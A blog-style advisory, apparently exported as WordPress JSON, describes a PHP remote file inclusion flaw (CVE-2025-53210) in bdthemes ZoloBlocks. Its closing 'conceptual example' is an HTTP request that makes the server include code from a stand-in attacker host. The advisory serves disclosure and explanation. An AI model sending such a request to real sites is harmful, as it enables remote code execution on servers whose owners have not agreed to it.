{"id":86828,"date":"2026-04-01T10:03:55","date_gmt":"2026-04-01T10:03:55","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T00:00:00","slug":"cve-2025-53210-php-remote-file-inclusion-vulnerability-in-bdthemes-zoloblocks","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53210-php-remote-file-inclusion-vulnerability-in-bdthemes-zoloblocks\/","title":{"rendered":"CVE-2025-53210: PHP Remote File Inclusion Vulnerability in bdthemes ZoloBlocks<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The vulnerability CVE-2025-53210 pertains to an issue found in bdthemes ZoloBlocks, specifically the improper control of filename for include\/require statement in PHP programs. This vulnerability, commonly known as ‘PHP Remote File Inclusion’, affects versions from n\/a through 2.3.2. This vulnerability is of significant concern due to its potential to compromise systems and leak data.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-53210
\nSeverity: High, CVSS Score: 7.5
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

bdthemes ZoloBlocks | n\/a through 2.3.2<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability stems from a lack of proper sanitization of user input in the filename for include\/require statements in PHP programs within bdthemes ZoloBlocks. This allows an attacker to include arbitrary local or remote files using special URL schemes. By exploiting this vulnerability, an attacker could execute arbitrary PHP code on the server, potentially leading to a complete system compromise.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how this vulnerability could be exploited. Note this is a simplified representation and actual exploit code would be more complex:<\/p>\n

GET \/index.php?file=http:\/\/attacker.com\/malicious_file HTTP\/1.1\nHost: vulnerable-site.com<\/code><\/pre>\n
In this example, the attacker tricks the server into including a PHP file from their controlled server (`attacker.com`). This malicious file could contain arbitrary PHP code, leading to potential system compromise.<\/p>\n","protected":false},"excerpt":{"rendered":"
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